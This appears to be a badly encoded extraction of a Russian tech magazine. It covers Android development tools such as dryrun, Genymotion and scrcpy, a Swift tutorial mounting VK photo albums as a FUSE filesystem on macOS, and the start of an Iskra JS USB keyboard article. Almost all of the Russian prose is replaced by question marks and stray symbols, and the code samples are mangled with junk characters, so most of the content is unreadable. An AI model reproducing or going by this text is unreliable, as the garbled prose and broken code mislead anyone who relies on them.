??�????� ?� Codota� ???:� ???�??�??� ?????�?????�?� ???�?� Java� (??????�?
Kotlin� ?� ???�???)� ?� ??????�???� ?????�?????�??� ???????�??� ?� ??????.� ????�
?????,� ?� ???�??� Stack� Over?ow� Codota� ????�?� ?????� ???�?????� ????�??
???????�??�??????�???�??��??????�??�??�???.�??�?�??�?,�??�????
???????�??� ?????� ??� ????�?� ???�???�??� ?� ???� ???�????�??� ????�?� ?????
???�?,�??�??.
??�?�???�?燙odota
4.�????????�?????????
?� ???�??�?� ????� ?????�?????,� ??� ???� ???�??� ???�??????� ??� GitHub� ???�?
???�?� ????????� ???????�??� ???�?????� ??� ???� ???�??� ???�?.� ???�??�???� ??
?�??�??�??�???,�???�?�??�?�??�???�??�??�????�????,�???�?�?????�?,
?????�?� ???�??� ???�????�???� ????�???�?� ???�???� ???�???�??????�???.
???�??�???�???�?�???�??�????,�?�???�??�??�??�???�?�??�???�??.
???�???� dryrun� ???�?� ?????�??????�?� ???�?????,� ????????� ?� ?????�???
?� ???�???�?� ???� ??� ??????�???� ???�???�??????�???� ??� ???�??�???� ???????�
?????.
??�??� ??????�?????�?� ???�???� ???�?� ???�??�????�???�???� ???� ?????�
???????� ???� ??� ????�??�?� ?� ?????�?� ???????�??� ????�????� (????� ?� ???�?
???�??,�??�??�??�?,�????�??�??):
$爀xport燗NDROID_HOME=/usr/local/opt/android?sdk
$爀xport燡AVA_HOME=/usr/lib/jvm/java?8?openjdk
??�???�???�??�???�?燿ryrun:
$爂em爄nstall燿ryrun
???.�??�?�????�???�??�???�???:
$燿ryrun爃ttps://github.com/cesarferreira/android?helloworld
???�??� ?????� ???????� ??� ??????�???,� ???�??�??�??� ?� ???�??� ??????
??燗DB.�??�????�??�??�????�??�???�???,�????�?.
???�???�????�?�??�???�??????�???
5.�??????????�???????
???� ??� ??� ??????�???� ??� ???�???�??,� ????�?� ??� ???�?????� ?� Genymotion,
????�??????� ???�???�?� Android� ???� ???�????�????.� ???�????� Genymotion
?????� ????�??� ???????�????� ???�???�?� ?????�?� ?????� ???????� ???�??�?
??????� ?� ????�????� ??� ????�??�???� ???�???�??.� ??� ????� ?????�?� ??� ????�
????�???�???�?�??�???,�?�????�?�???�??�??�??�????�????.
Genymotion�??�?�????�(???�???????�????�???�?�???�??�?��6�???�
?????� ?� ???),� ??� ??� ???� ????�?� ??� ????????� ????�?� ????�??????� ???�????,
???????�??�?�????�?????,��?????�?�???燡ava燗PI�??�???�????�???�??
???????� ?� ???�??� ???�????,� ??� ???�?� ?????????� ???�?????�???�?� ?� ?????
???�????,� ?� ????� ????� ???�?� ???�??�???� ?????�??� ????�???,� ???�?� ?� ???
???????�?????�?????�??�???.
???�???�??????�??�?燝enymotion��?�???�??�?燰irtualBox��????�?
?????�??� ??????�?� ???�???� ???�?� ????�??�??�?� ???�???�?.� ?� ???�???,
?�???�???�?�???�???�???��????�??�???�??�??�?�??�???�?��??????�
????�?�?�??????�????�??�??�???營ntel.�燝enymotion�????�???�??�??.
Genymotion
6.�??????�??�????????
??� ????� ???�??�?� ???�???????� ????� ?� ???�???�?.� ?� ????�??????� ???????�
??????� ?????�??� ??????�???,� ?� ????� ??� ????� ????,� ????� ??� ????� ??� ???� ?????�
???�??燤ultiROM,�??�???�???�??�?????�????�??�??燗ndroid��4�?�1.
???� ???�?????� ???�???�?� ???� ???�?,� ??� ????� ????� ????�???:� ??????
??� ????�?� ????�?� ???�???????� ???�???�??,� ???�?� ????�???� ?� ????,
????????�?�?????�??�????????�??�?�?�???�?�?????�?.
Scrcpy�??�???�?�??�???�??�????�??�?��??�??.�???�?�???�???�???�
????,�????�?��??�???�????�?爏crcpy,��?�??�?�??�???�?�???�?�????�
???????� ??� ????�??�?� ?� ???�???� ??� ?????????.� ???????� ????�????� ??????�
??????�???�??�?�?�???�???,�??????�???爎oot,�??�????�???�?.�?????�
????�??�??�???�??��??�??�????�?燗DB��??????�?????�??�?燱i?Fi.
????�?,�??�????�??爏crcpy�??????�???�??�??� ??????��??,�??�??�???
?????�??�??�??????.�??????�??��???�????.
Android燬tudio,爏crcpy�燗IO燣auncher
7.�?????????�??�?�????????�?燱I-FI
?� ???� ????�????� ?� ???,� ???� scrcpy� ???�?� ????????� ??� Wi?Fi,� ??� ??� ???�??,
???�???�???�???�??�??�???.�?�????�???�???�???�???�?????�?�??�?,
????�????�?� ?????� ????�???� ???�?� ???�??�???� ??� ADB� ???� ??????,� ??� ???
???�?�???�?????�?????�??�???燗DB????�??�?�???�??�?��?????燱i?Fi.
???�???� ???� ???�?� ??� ???�???� ????� ???�???�????�???� ???�???�???� ????
WiFi燗DB�(???�??�???�??�?爎oot).
???� ????� ????�??� ?� ???�??� Android� WiFi� ADB� ???� Android� Studio.� ??
?????�???��??�?�??�????�?�??????????,�??�??????�???�??�??�??�???�
???� ?� ???????� ADB� ??????�???,� ?� ???�????????� ???????�??�???� ???�??
??�??�?燱i?Fi.
Android燱iFi燗DB
8.�??????????�?????�??燝IT
??�?� ??� ??????�??�?� ???�????�??� ?????�?� ?� ??� ???� ?????� ????� ??????�??
?� ?????�?,� ??� ???�??� ??????�?????� Git.� ???� ????� ??� ???�??�??� ???�??�???�
???,� ?� ????�?� ?????�?� Android� Studio� ???�????�???� ???� ???�?� ??� ?????�?.
????�?� ???�?????�?� Android� Studio� ????�?� ????�???�?,� ?� ????????� ???
????�???�????�??�????,�??�??�???,�???��????�??????�??�?�??�???.
???� ?????� ???�???� ???????�??� ??????�???�?� ?� ???�???� ????�????� ???�?
??????�?????�??�??�??�???�??.
GitKraken��??�??�????�??�??�??燝it.�?�?�????�??�????��??�???�
?????�??,�???�?????�?��????�?�(Windows,爉acOS,燣inux),�??�?�???�???�
????�???� ?� ??� ???�???� ???�???�?.� ???� ???�??�???� ???� ???�???� ????�????,
???�???�????��???�??�?�??�????�??�??�????.
GitKraken
9.�?????�?????
??�?�?�???�?�????�???�???�??�????�???�??�???�??,�?�????�???�??
????�???�?� ?� ?????�???� ????�????� ??????� ????:� ???� ?????� ???�????�??
?????�??�?�?????�???�????�?�???�?�???�??�???�??????,�?,�???�?
??�???�????�?????�?�????�???,��???�???�???.
Android燬tudio�???�?�??�???�???�???�?�??????.��??�???�???????�
??????� ???�??�??�?� ???� ??????�??� ???�??� ???� action� bar??� ?� ????�?� ????�
??????,� ??� ?� ??????� ???�??�??�???� ??????� ??� ??????.� ???????�??� Android
Asset� Studio,� ???�?????� ?????� ??� ???�????�????� Android,� ???�??�????�?� ??
??�??�??�??�?,�?��????�??�????�??�?��???�??????�???�??.
?�??????燗ndroid燗sset燬tudio�??�?�??�???�???�?�??�???�??,�???�?
???� action� bar??,� ????�?� ???�?????,� ???�??�?� ????,� ?� ???�?� ???�???�??�??
????�?.� ???� ??� ???�??�??????�??� ???�??�???,� ??� ??� ???�??� ???�??� ????�
?????�?� ???�???�??� ??� ???????� ????,� ?� ????� ????� ????� ?� ???�???�??� ????�
????,�??????�?�??�??????�??�???,�?�??�?�???�???��??�???�??????
???�??�??????�??�????�????.
Android燗sset燬tudio
10.�????????�??�??????????�????????
Gradle,� please� ?� ???� ????� ?????�??� ???????�??�???.� ???� ?????�???�??
??????��???????�??�???�??�??�??�??�????�??�??�??�??�????�?��???�
???�??�???.�?�??�??�?????,�????,��?�??�??�???,�?,�??�?�?�??�????
?????� ???�??,� ???� ???�??,� ?????� ???�????�?� ???�?� ?� ???� ??� ??????�?????,
?� ???,� ???� ????� ???�?,� ?� ???� ????�?� ???�??�???� ?????� ???�?????� ???�??
???�????�?,燝radle,爌lease�??�???�???�????�??�??.
Gradle,爌lease
??????
??�??�?�?,�??�?????�?�??�??�??�??�?,�??????�????�???�????�?�???�
?????�???.� ?� ???�??� ??,� ???� ??????�??� ???,� ?� ?� ???�?� ???�??� ???�??� ?????
????� ????.� ?????�?� ??� ????�??�?� ?� ????� ?� ???�????�???� ??� ???�????,
???????�???�?????�??�?.
??????
??????�?????????
michail@ovchinnikov.cc
?????????
??
???�?????�??????
????�???????�??????
??燜USE�燬WIFT
??�????�?????�???�???�?�?????�???????�??�?��???�
???�???� ???�???� ?????�?� ?� Finder.� ???�??,� ???� ????�?
??� ??,� ?� ??????�?????� WebDAV,� ??� ???� ???� ???�?????� ????�
???,� ?� ???�???� ??????�?� ?� ????� ??� ????� ???�???,� ?� ?� ????�
??????�??�???�?�???�?燫EST燗PI.��?????�??�???�??�?
?????� ????????� ????� ???�????� ???�???,� ??� ???� ????????
????�??� ????�???�??.� ????�?� ???� ???�????� ???�??????,
???�?� ?� ????�????,� ???� ????�??�??� ????�???�??� ???�???�?
???�??燜USE爁or爉acOS,�??????�??�??�??�????�???�????�
???� ???�????� ???�???� ?� ???�???�??� ???�??� ?????� ????.
?� ???�??� ?� ???�???�?� ????�????� ??� ???�???� ???�??� ????�
????????�??�燗PI�?�????燙��???�?�??�????�??�??????�
???????��??�???�?��??�????�??��??�??燬wift.
???�????燜USE?
FUSE�(Filesystem爄n燯serspace)��??�????????�??�???�???�???�????�??
????�?????�?,� ???�???�???� ??????�???????� ???�????� ???�???� ????� ??.
????� ????????� ??????�?� ?� Linux,� ?� ???????� ???� ???�?� ???�?????� ??� ???
???????� ???�????�?:� ??????� ????� (???�????�???�?� ???�????�?????� ????)
?�??�????�?�???�???????�??�?�???�????�??�(libfuse).�??�??�????�?�???�
???�????�?�?????�??�??�?????�??,�??�????�???�??,�?????�?�??�????
?� ????� ?� ??????�??� ????�??� ??� ????.� ???�?� ???� ?????�???� ????�??� ???�???�
????�????� API,� ?� ???????� ??� ?????� ???�???�???� ???�??�???� ??????�??
????�??�??��????,�???�?�?????�爄node.
???�??燜USE爁or爉acOS�???�???�???�????�??�????�??�????燗PI�(?�???�
??� Objective?C� ????�????),� ???�???�???� ?????�?????� ???�????�??� ????�
?????�??�???,�??????�????�???????��???�????�??�???�?????�?�?爉ac?
OS.�??�??�??燗PI�???�???�??�??�??�???燜USE燗PI�?燣inux,�?�????�??�?
?????�????�??�??�???????�????�?�??�??�?�????�??�???�??�????�???�
???� ??� macOS.� ?� ???�?????� ???�?� ????� ???�??� ????�???� ?????�???�??
?????�???�?� FUSE� ???� macOS,� ???????� ???�???�???� ?� ???�????�???�?
??????� ????�??�??,� ????� ?� ??????????� ??� GitHub� ?� ?� Google� Groups� ???�??
??????�?�??�??.
?????????�?????????
??�????�?� ??� ????�???�?� ????�?????:� ???�???�??� ??????�????� ?� ???�?� ????�
?????�???� ?� ?????�????� ???.� ????� ????�?????�??� ????????� ?????� ????
??�??????�??,�?�??�???�?�??�????�??�?:�??�????�?�???�?????�??????�
???�?� ?????� brew� ?� ?????�???� ???�??�??� ??????,� ???� ???� ???�????� ???�???
?燫eadme�?燝itHub.
?????????�??????
???�????�?????�??�???�燲code
???�????� ?????� ???�??� ?� Xcode.� ???� ???�??� ????� Cocoa� Application� (?� ????�
????� macOS),� ?� ???�??� ???� HelloFuse,� ????� ???????� Swift,� ??????�??
???????�?�??�?�??�???�?�???�??????�??.
???�??�??�???�????
???�?????�??�???�???�?燨SXFUSE
???�?� ????�??�?� ????�????� ?????� ???�??????� ??� ???�????�?� ????:�
/Library/Frameworks/OSXFUSE.framework.� ???�?� ????????� ???� ?� ???�??,
???�????�?� ????�?� ??????�???� ???� ?� ???�??� Linked� Frameworks� and� Libraries
??�????�?燝eneral�??�??�?�???�?.
???�??�????�???�???�?
???�????燘ridging燞eader
???�??�?�????�??�??�?燬wift,��???�????�????�????�?燨bjective?C,�?
???�??�?�??�???��??�??�???�??�?????�???燘ridging燞eader.�??�????
??????�??�??� ????� (File� ?� New� ?� File� ?� macOS� ?� Source� ?� Header� File),
???????� ???� HelloFuse?Bridging?Header.h� ?� ???????� ?� ????� ???�?????
?????�?:
#import�OSXFUSE/OSXFUSE.h>
??�???�?�?????�?????�??�?????�?�??�??�??,�?????�?�???�?��???�
????燭argets,�?????�??�?�????�?燘uild燬ettings,�??????�??�??燬wift燙om?
piler�燝eneral,��???燨bjective?C燘ridging燞eader�????�???
$(PROJECT_DIR)/$(TARGET_NAME)/HelloFuse?Bridging?Header.h
???�??�???燘ridging燞eader��??�???�??�??�???
??�??�??燬andbox
??�???�????�?�???�??�???�???�???�???�????�???,�??????�???�????�
????� ???�?????�?� ???�???�??,� ??� ?� ????�??� ??� iOS� ??� macOS� ??� ???�?
?????�???.�???�?�?????�??�??�?�??�??????�???�??�???�??�????燗pp
Store� (???� ????� ??� ?????� ????�????� ?� ???�??� ?� macOS),� ??� ?� ?????� ???�??
???�????�??�????�??�??�??��??�????�??�???,�????�?�?????�??.
??�??�??� ??� ?????�?� Capabilities� ?� ???�???�??� ????�?� ?� ???�????� ??????�
????????��??�??燗pp燬andbox��?????�??燨FF.
HELLO燱ORLD
???�????�??�????�??�???
??�???�??� ???�????� ???�???� ???�???�???� ?� ??????�??� ????�?.� ???�????
?????�??�??�???�?燞elloFS��???�???�?�??�?燦SObject.��???????�??
???�???�??�?????�??�?�????�?????�???�?�??�?????:�?????�??�???�?
???�??,�??????�?�????�???�?????,��????�????�??�???�??�?.
?� ??????,� ????�?????� ??� ????�??????� ???�??,� ???�?� ???�???� ???�??
?????� ?� ???�???� ???�?.� ?� ?????�??� ???????�?� ????� ???�????� ????� (path),
?� ?????� ????�??� ???�???� ???�?� ?????� ???� ????�???�???,� ???�?� ??????�???
???�???�???�???�??�???�????�????.�????��???�?�??�??�??�???�???
hello.txt.
override爁unc燾ontentsOfDirectory(atPath爌ath:燬tring)爐hrows�>燵Any
]爗
牋爎eturn燵"hello.txt"]
}
?�????,�??????�???�???�?�???�??????�???�??�?,�??�????�?�??�????
????,��?????�??�?�?�?????�?�?�??�??�?????,�????�????�????�????�
????�??�??�?.��????�?�??�???�?�????�??�???�??�??�??�??�???
????�?牜Hello爓orld!�.
override爁unc燾ontents(atPath爌ath:燬tring)�>燚ata?爗
牋爎eturn牋"Hello爓orld!".data(using:�.utf8)
}
?�??�?�???燞elloFS.swift�??�??�??�?????�??:
import燜oundation
final燾lass燞elloFS:燦SObject爗
牋爋verride爁unc燾ontentsOfDirectory(atPath爌ath:燬tring)爐hrows�>�
[Any]爗
牋牋牋爎eturn燵"hello.txt"]
牋爙
牋爋verride爁unc燾ontents(atPath爌ath:燬tring)�>燚ata?爗
牋牋牋爎eturn牋"Hello爓orld!".data(using:�.utf8)
牋爙
}
???�????�????�??�????�??�???
?�???�?燗ppDelegate�??�???�??�??????�??:
private爒ar爃elloFS:燞elloFS?
private爒ar爑serFileSystem:燝MUserFileSystem?
?�????燼pplicationDidFinishLaunching�??????�??�?????�??:
helloFS�燞elloFS()
userFileSystem�燝MUserFileSystem(delegate:爃elloFS,爄sThreadSafe:�
false)
var爋ptions:燵String]�燵"rdonly",�"volname=HelloVolume"]
userFileSystem?.mount(atPath:�"/Volumes/hello",爓ithOptions:爋ptions)
???� ???�????�?� ????�??�??:� ???�????�???�?� ???�????� ???�???,� ???�???�?
???�????�??�???��?????�?�???????,�??�??�???�?�??�??�??,��????
???�???�?�?�?�??�??�???�???.
??�????�????�?????�??�???�??�????�???�?�???�??�????�??�???
?�?????燼pplicationWillTerminate:
userFileSystem?.unmount()
???�?� ?????�?� ???�???�??� ???� ???�??� ??????�?� ?� ?????�????� /Volumes,
a�??�?�??�??�???�????���??�????�????�????.��??�???�????�?????
?????�???�??�???爃ello.txt,��??????�????�?????�?牜Hello爓orld!�.
??�???�??�?????�?????燞ello爓orld�??�???
??�????�?�???�???�??�???�?�??�??�???
???�??�???�??�?�???????�???�?�?�??�??�??????�??,�??�??�?��???�
???� ???�?� ????????� ????�?� ?� ???�???� *.icns� (???�???�??� ?� ???�????� ?� ????�
????�??�?�??�?�爉acOS燚esign燝uidelines)��???????�???��??��??�??
options.
if爈et爒olumeIconPath�燘undle.main.path(forResource:�"disk",爋fType:
"icns")爗
牋爋ptions.insert("volicon=\(volumeIconPath)",燼t:�
}
????????�??????�??�???�?燰K
??�??�??�????�???�?��????�???�?,�??�???��???�???�??�??�???�???�
????�?�????�??�??�????�??�???,��???�??????�??�????��??�??�???
???�???� ?� ????� ???�??� ?� ?????.� ????�????� ????�?????� ?????� ????�??� ????�
????� ?� ?????�????� ??� ???�???� ??????� ???�???� ?� VK.� ???�??� ???�?� ?????
???�?�???�???????�??�??�?�???,�??�??�?�?�????�?????�???�?�?燬DK
�???�????�,��????�???�???�?�??�????��??????燫EST燗PI,�??�?????
???�???�???�??.
??�???�??�??
??� ?????� ???�???�???� ???�?� ???�????�?:� ???�??� ?� ?????�????.� ???�???
?????� ??????� ?� ???�?� ?????� ???�????� ???�???� ?� ???�?????� ???� ???�?,
?�????�????�???????�?��??�????��??�?????,�???�???�???�?,�??�??�?
???�????.�???�?????�??�??�???�????�???�??�???�?燚ecodable,�??�???
???�?�?�??�?�?�??�??????�?燡SON,�??????�?�??????��??�???.
???� ???�???� ???� ??????�??�?� ?????� ???� ????�?????�??,� ???�?� ?????
??�???�??�?????�????�????,��??�?�??�??�????.
struct燗lbum:燚ecodable爗
牋爈et爄d:營nt
牋爈et爐itle:燬tring
牋爒ar爌hotos:燵Photo]�燵]
牋爌rivate爀num燙odingKeys�燬tring,燙odingKey爗
牋牋牋燾ase爄d,爐itle
牋爙
}
???� ?????�????� ???� ???�?� ?????� URL,� ??� ??????�?� ??� ?????� ???�?????
?????�????,� ?� ???�?� ???� ???�?.� ???� ???� ?� VK� ???� ??????�???� ???????�?
???�????�????,��???�?????�?????�??�??�?�?燯RL.
struct燩hoto:燚ecodable爗
牋爈et爑rl:燬tring
牋爈et爁ilename:燬tring
牋爌rivate爀num燙odingKeys�燬tring,燙odingKey爗
牋牋牋燾ase爑rl��"photo_604"
牋爙
牋爄nit(from燿ecoder:燚ecoder)爐hrows爗
牋牋牋爈et爒alues�爐ry燿ecoder.container(keyedBy:燙odingKeys.self)
牋牋牋爑rl�爐ry爒alues.decode(String.self,爁orKey:�.url)
牋牋牋爁ilename�燦SString(string:爑rl).lastPathComponent燼s燬tring
牋爙
}
??�??�??�???燰K�??�?�??�?????�????�???:
{
牋�"response":爗
牋牋牋�"count":�,
牋牋牋�"items":燵...]
牋爙
}
??�?????�???�??�??????�??�????�爄tems.�??�?��????�????�????�???
????�??�???????,�??�???�???�???�???�??�?????燰KResponse.
struct燰KResponse<T:燚ecodable>:燚ecodable爗
牋爈et爄tems:燵T]?
牋爌rivate爀num燫ootKeys�燬tring,燙odingKey爗
牋牋牋燾ase爎esponse
牋爙
牋爌rivate爀num燙odingKeys�燬tring,燙odingKey爗
牋牋牋燾ase爄tems
牋爙
牋爄nit(from燿ecoder:燚ecoder)爐hrows爗
牋牋牋爈et爒alues�爐ry燿ecoder.container(keyedBy:燫ootKeys.self)
牋牋牋爈et爎esponseValues�爐ry爒alues.nestedContainer(keyedBy:�
CodingKeys.self,爁orKey:�.response)
牋牋牋爄tems�爐ry爎esponseValues.decodeIfPresent([T].self,爁orKey:�
.items)
牋爙
}
???�??�??�?????�??�??�??
???�??�?,�??�???????�??�??�?�???�?�??�??��??�??�????�???�?,�????�
?????�?�?�??�??�???�??�????�??�???,�????�?�?�??????�??�??�???�
?????�????��?????�??�????,�??????�?�??????燰KService�(?�?????�???�
????� ???� ????� ???�???�?� ??� ???�???� ??� ???�???�?� ???�?,� ??� ?????� ??
??�????�????????).�????�?�??�?�???????�????�?:�?????爁etchPhotos
?� fetchAlbums� ????�?� GET????�??� ???� ??????� URLSession� ?� API� vk.com
?� ???�??� ???????�??� JSON� ???� ??????� JSONDecoder.� ??????�??� ??????
????�????�???�???�?�??�???�???�?????�??�???�???�??�???�??�?????
(????�?�??�???,�??�??�?�???��??�????�??�???��??�??).�??�??�?
???�?�???�???�????��????�????�?????�???,��?�???�???�??�??????�
??�?�??�??�????,�?�??�???�??�??�?��??????�??�??�???.
???�????�??�????�??�???
??�?????�???�??????�??�????�????�??�?????.�??�???�?,�??????�?�?
??��??�????�????�????,�???�?,�?�??�??�???�??�??�??�?????�??�?
????�?????�?,�??�?�??�?��??�??,�???�???�???????�??��???�?????
???�??�????�????.
override爁unc燾ontentsOfDirectory(atPath爌ath:燬tring)爐hrows�>燵Any
]爗
牋爄f爌ath�=�"/"爗
牋牋牋爎equestAlbums()
牋牋牋爎eturn爒kService.albums.map{�$0.title爙
牋爙
牋爂uard爈et燼lbum�爒kService.getAlbum(forPath:爌ath)爀lse爗爎eturn
[]爙
牋爎equestPhotos(forAlbum:燼lbum)
牋爎eturn燼lbum.photos.map{�$0.filename爙
}
??�???� requestAlbums()� ?� requestPhotos()� ???� ???�?,� ???�?� ???�?????
?�?????�??�???�???�???�??�???�??�???.
private爁unc爎equestAlbums()爗
牋爄f爒kService.albums.count�!=�
牋牋牋爎eturn
牋爙
牋爒kService.fetchAlbums爗�(_,爀rror)爄n
牋牋牋爄f爈et爀rror�爀rror爗
牋牋牋牋牋爌rint("ERROR:�"�+爀rror.localizedDescription)
牋牋牋爙
牋牋牋燦SWorkspace.shared.noteFileSystemChanged("/Volumes/hello/")
牋爙
}
private爁unc爎equestPhotos(forAlbum燼lbum:燗lbum)爗
牋爄f燼lbum.photos.count�!=�
牋牋牋爎eturn
牋爙
牋爒kService.fetchPhotos(forAlbum:燼lbum)爗�(photos,爀rror)爄n
牋牋牋爄f爈et爀rror�爀rror爗
牋牋牋牋牋爌rint("ERROR:�"�+爀rror.localizedDescription)
牋牋牋爙
牋牋牋燦SWorkspace.shared.noteFileSystemChanged("/Volumes/hello/"�+�
album.title)
牋爙
}
??�???� ???�????� ??� ?????� ??????� NSWorkspace.shared.noteFileSystem?
Changed.�????�??�?�???�???��??,�??燬DK燜USE爁or爉acOS�??�???�???�
???� ???�???�?,� ????�???�???�?,� ???� ???�?� ?????� ??????� ????�???� ???�??
???�??,�??�?�???�??�?�??�????��??�???.�??�??�?�?��?????�?�???�
????�??� ?????:� ??� ????�??� ???�????� ???�???,� ???� ???�?� ????�???� ???�???
??�??????�???�???,��????燾ontentsOfDirectory�????�??�??�??�??.
???�???�???�????�??�??�??�?????�???�???�?�???�??,�?��?????
???????,� ?????�?,� ???�??� ????� ?????� ??????�???� ???�??,� ???????� ?????
???�??�???�???�??�??�??�??,�??�???�??????�?�????????�?.
???�??�??????� (?� ????�?� ?????�???�??� ???????)� ?????� ????� ???????
????�???�?� ?� ???�???� ???�???�?.� ???� ?� ?????� ?� ??????� ??????�??� ?????
?????�????.
override爁unc燾ontents(atPath爌ath:燬tring)�>燚ata?爗
牋爎eturn爒kService.getPhotoData(forPath:爌ath)
}
??�??� getPhotoData,� ???�??�??????� ????�?� VKService,� ??????�?� ???�??
???�???�?,�?????�??�????� sendSynchronousRequest�???�?� NSURLConnec?
tion.�??�???�??�?????�??�??�??�????�??�?????�??�?????�???�??:
private爁unc爁etchPhoto(urlPath:燬tring)�>燚ata?爗
牋爂uard爈et爑rl�燯RL(string:爑rlPath)爀lse爗爎eturn爊il爙
牋爈et爎equest�燯RLRequest(url:爑rl)
牋爒ar爎esponse:燯RLResponse?
牋燿o爗
牋牋牋爎eturn爐ry燦SURLConnection.sendSynchronousRequest(request,
牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋牋爎eturning:�
&response)
牋爙燾atch爗
牋牋牋爌rint("ERROR:燶(error.localizedDescription).")
牋爙
牋爎eturn爊il
}
????�????��??�?????�??�?�??????燗pple�??�???�??�??,�????�?�???�
???�????�?�??�?�?????�?????� DispatchSemaphore� ?� ???�???�?� ?� URLSes?
sionDataTask.
?� ????�?????� ??????�?� ?� ???�?� ?????�?� ???�??� ???� ???�??????� ???�??:
?� ???� ???�????� ???�???� ????�???�?,� ????????� ????� ???� ???�??� ???� ???�?
????�?????�???�???�?????�??�???�????,燼ttributesOfItem.
override爁unc燼ttributesOfItem(atPath爌ath:燬tring!,爑serData:燗ny!)�
throws�>燵AnyHashable�燗ny]爗
牋爒ar燼ttributes:燵FileAttributeKey�燗ny]�燵:]
牋爄f爌ath�=�"/"爗
牋牋牋爎eturn燼ttributes
牋爙
牋爈et燼lbum�爒kService.getAlbum(forPath:爌ath)
牋爄f牋(album�!=爊il)爗
牋牋牋燼ttributes[FileAttributeKey.type]�燜ileAttributeType.typeDi
rectory
牋爙爀lse爗
牋牋牋燼ttributes[FileAttributeKey.type]�燜ileAttributeType.typeRe
gular
牋爙
牋爎eturn燼ttributes
}
?????� ??� ????�???�?,� ?????� ????�???� ???�?????� ???� ???�?� ??� ?????�???
????.� ?� ???�????,� ????� ??� ?????� ????????� ???�??� ???� ???�?� ????,� ??� ????�
?????�?� ???� �????�????�,� ???�?� ?� �???�.� ???� ???�????� ?????�????� ???
??�??�???�?�??�??�???�??????�???�????.
????�???�?�??�???��????�????�?燰K��????�??�????�??�???
???�??????
?�????�?????�?????�??�?�??�???�?????�??�???�????�?????�?爎ead?
only????�??,�?�??�?�???????,�??�????�?????�?????��??�????�??�??
????� ??� ????�?:� ???�????�?� ???�????�??� ???�????� ????�???�?????� ?????�
????�??�???� ??????,� ?� ???�??� ?????�??� ???????� ??� ??????� ????�?????�?
?� ??????�??�??� ???�?� OSXFUSE/OSXFUSE.h.� ???� ????????� ??� ????�???� ????�
?????,� ???� ?????� contents(atPath:)� ??� ?????�???�??� ???�??� ???�???
?????�????� ???�?,� ???� ?????� ????�??� ???�???� ???�?� ?????�?????� ???�??
????爋pen/read/release,��???�?�??�????�?�??????�???�???�?�???�???�
???,�??�????�??�???�?????�??.
???�?� ??� ???�??� ????�???� ??,� ???� FUSE� for� macOS� ???�?� ??????�?????
???????� ???� Noti?cation� Center,� ??� ???????� ???�?� ???�?????�?� (???�????,
?????�???� Finder� ???�?� ????,� ???� ???�???� ???�??�?????�???).� ???�??
??????�??????�?�??�?�??�???��??????�??.
??????��??????????????
C� ?????� ???�???,� FUSE� for� macOS� ?� ?????� ????�??� ???�??� ?????�?????
????�???�??�??�????�??�???�??爉acOS,�??????�??�??�????�?�??�???�
????�????� ?� ??????�?� ????�??� ?????????� ???� ???�????� ??� ??????�??.
??� ???�??� ????� ?????� ??� ???�?� ???�?????� ?????�????:� ?????� ???�??
???????�????� ?� ????�????�?� ?????�???�??� ???????�??� ???�??� ??� ???�?
???�???�??�??�??�???�???�??�?燝itHub?�??�??�??�???�???????�?��???�
????� ?� ????� ????�?� ?� ???�????� ?????�??�?,� ???� ??� ???�?????� ???�??,� ????�
????�?� ????�??� ??� ????� ???�???� ?� Issues� ??� GitHub� ???�?� ????�??�?.
???� ????????� ??� ????�???� ???�?� ???�???�??�??� ???�???� ???�??:� ????� ??
???�??�?????�??�?????�?,�??�??�??�?,�???�?�??�????�???�?,��???�?
?????�????� ????�?????�?� ???�?� ???� ??????????� ?????� ?� ???�???� ?� ???�???.
??????�??�????�????�??:�???�?�??�?????�?????�???�??�??��??�???�
????,� ??� ???�??� ????� ??????�?� ?????� ?????�??????�?� ???�?????�?� ?� ?????�
????�???�???�??��??�???????��???�?�??�???�??�?????�??�?.
WWW
?????�??�???
???�???�????��??�???�?�????�????�??�???�
?????�??�??
??????
??????????
ISKRA
??????�?????????�???????�??????
?�????????燯SB???????????,�??????????
?�????????�????????
???� ???�???� ????� ?????�???�????
?� ???????�?� ???????�???� ??????� ??� ????�
???�??�?????????????�???��??????�???�
???� ???�?,� ??� ?????�????.� ??� ?????�??
??� ????????�??.� ????????� ???????�?� ????�
????,�??????�??�??�?????�???�?�?????�
??,� ??� ???�??� ???�?????�??� ??????�??�?
??�???�??�???�????�??�???????�???,
??????�?!�???�?!
ge0gr4f
ge0gr4f@gmail.com
??�??�?� ??� ???�???�??� ???�?????� ?????????�???,� ?????????�???,� ????�??
?� ???????�??� ???�??� ???�???� ??????,� ???�??� ????� ????�??�??� ?????�??
???????!�?�????�??�???��???�??�??�??�??�???�????,�?????��?????�
?????�??� ??????,� ????� ??� ???????� ???�??� ???�???�?� ??????�?� ?� ???�???�?
?????�???�???�?� ?????� ??????�?????�?,� ?� ???� ????� ??????�???� ?????� ????�
????�???燯SB????�????�?�??�?????�?????��?????.
???�???�??�???,�??�??????�??????????
????� ????????� ??� ??� ???�??� ???�?.� ???????�?� ??� ??� ????�????� ?� ?????
??????�?� ????�????�???�???� ???�????�???�????.� ??� ???� ???� ???�??�???
???�???,�??�?�???�???��??�???�??�?????�???�??�?,�???�????�????�?
???� ???�????�???� ????�???� ??� ?????�???� ?++,� ??� ??????�????�???� ??????�
???�?,� ??,� ????� ??� ????�???�???� ?� ???�??�?????� ????????� ???????�????
???�??�??� Arduino,� ?� ???�????� ???�??� ?� ???�???� ???????�???� ????� 獼ava?
Script� ???� ???�????�???�????�.� �?????� ???�???� ????�????�???� ??� Java?
Script粻 ?� ????� ????�??� ??????�??� ???�??� ????� ??� ???�??!� ???�??�????
??�??�?牜???????粻????�??????�??�????�???�??�??�??�?,�??????�?燗r?
duino燣eonardo,�?�????��??�?????� Iskra燡S�(??�?????�營skra燦eo,�??????
????營skra,�???�????,�?�?�???�???�?????燣eonardo),��????�??�??�??
???�????�?�??�?????�??�(?,�???�??,�???????�??�??�?�??�??).
??�????�??�??�?營skra燡S
???�??� ???�?� Iskra� JS� ?� ????�?????� ????� ???�????�???�???� ?????
STM32F4��??�????�?��??�??�??�??????爋pen爏ource�??�??�?� Espruino,
?????�?????� ???�???� ?????�??�???�?� ???�?� JavaScript� ?� ???�????� ??????
???�????�???燫EPL.�?,�??�??�??�燦ode.js,�?????�??�?�???�??????�??
??????��??�??�??�?�???�????�??�??�?��????�?�燛spruino.�??�???
???� ????� ???� Iskra� JS� ???�????� ????� ??????� ???????�???� ??� Arduino� UNO� R3.
??� ?� ?????�?????�??� ???�????�?,� ????�???�?????� ?????� JS???????,� ????�
